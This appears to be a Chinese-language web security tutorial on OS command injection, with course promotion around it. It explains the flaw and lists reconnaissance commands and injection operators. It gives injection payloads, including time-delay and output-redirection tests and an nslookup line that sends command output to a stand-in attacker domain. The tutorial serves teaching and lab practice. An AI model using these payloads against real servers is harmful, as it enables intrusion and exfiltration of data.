既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
- 《WEB安全基础-服务器端漏洞》
- 《WEB安全基础-客户端漏洞》
- 《WEB安全高级-综合利用》
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
- 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
- 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。
- 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
- 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~
WEB安全基础入门—操作系统命令注入(shell 注入)
-
- 1. 什么是操作系统命令注入
- 2. 攻击流程解析
- 3. 常用命令
- 4. 命令注入盲注漏洞
- 5. 常用注入操作符
- 6. 漏洞实例
-
- [1. 操作系统命令注入,简单案例 (OS command injection, simple case)](#1____OS_command_injection_simple_casehttpsportswiggernetwebsecurityoscommandinjectionlabsimple_86)
- [2. 带有时延的操作系统命令盲注入 (Blind OS command injection with time delays)](#2____Blind_OS_command_injection_with_time_delayshttpsportswiggernetwebsecurityoscommandinjectionlabblindtimedelays_97)
- [3. 带有输出重定向的盲注操作系统命令注入(Blind OS command injection with output redirection)](#3__Blind_OS_command_injection_with_output_redirectionhttpsportswiggernetwebsecurityoscommandinjectionlabblindoutputredirection_107)
- [4. 带外交互的盲注操作系统命令注入 (Blind OS command injection with out-of-band interaction)](#4____Blind_OS_command_injection_with_outofband_interactionhttpsportswiggernetwebsecurityoscommandinjectionlabblindoutofband_125)
- [5. 带外数据外泄的盲注操作系统命令注入(Blind OS command injection with out-of-band data exfiltration)](#5__Blind_OS_command_injection_with_outofband_data_exfiltrationhttpsportswiggernetwebsecurityoscommandinjectionlabblindoutofbanddataexfiltration_138)
- [1. 操作系统命令注入,简单案例 (OS command injection, simple case)](#1____OS_command_injection_simple_casehttpsportswiggernetwebsecurityoscommandinjectionlabsimple_86)
- 1. 什么是操作系统命令注入
1. 什么是操作系统命令注入
攻击者可在服务器端执行任意系统(OS)命令,获取敏感数据。通常攻击者会尝试利用系统内部的信任关系,将攻击转移到系统内的其他系统,获取更大权限。
2. 攻击流程解析
以电商网站为例,经常有查询库存余量的功能,URL如下
https://insecure-website.com/stockStatus?productID=381&storeID=29
后台在处理此URL时,调用库存查询接口,由于历史原因,接口往往需要使用shell命令调用其他系统模块。类似如下命令
stockreport.pl 381 29
.pl 是perl语言源程序文件的扩展名,参数值将作为参数传入该“脚本”进行调用库存余量查询。
如果将该脚本参数改为如下
stockreport.pl & echo aiwefwlguh & 29
&为系统命令分隔符,会将上述一条命令差分为3条系统命令,显示结果如下:
Error - productID was not provided (stockreport.pl未得到有效参数,报错)
aiwefwlguh(echo命令执行)
29: command not found (系统无法辨别的命令)
例题 1
3. 常用命令
发现漏洞后,应执行一些基础命令,查看相关系统信息。
目标 | Linux | Windows |
---|---|---|
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接状态 | netstat -an | netstat -an |
运行进程 | ps -ef | tasklist |
4. 命令注入盲注漏洞
有些命令注入命令,不会随响应包响应任何结果。如反馈信息页,当用户完成了反馈,点击提交后。系统允许会生成如下邮件命令发送给管理员
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
这个命令就算存在的命令注入漏洞,但是在用户web端不会有任何回显。
但我们可以尝试以下方式进行测试漏洞是否存在
利用时间延迟测试漏洞存在
& ping -c 10 127.0.0.1 &
系统若存在漏洞,将会发起10次ping命令,导致响应时间延迟。
例题2
利用输出重定向来获取结果
& whoami > /var/www/static/whoami.txt &
若命令执行成功,命令执行结果将会写入路径下的whoami.txt文件中。若能成功读取该文件,就能获取结果。
例题3
利用带外技术(OAST)获取结果
& nslookup kgji2ohoyw.web-attacker.com &
& nslookup
whoami.kgji2ohoyw.web-attacker.com &
使用命令nslookup来发起DNS对特定域名(攻击者控制的域名)的查询。通过查询访问记录获取结果
例题4、5
5. 常用注入操作符
window与类linux系统通用
- &
- &&
- |
- ||
类linux专用
- ;
- 0x0a or \n (换新行)
类linux行内命令执行
command
- $(command)
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
研究,那么很难做到真正的技术提升。**
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!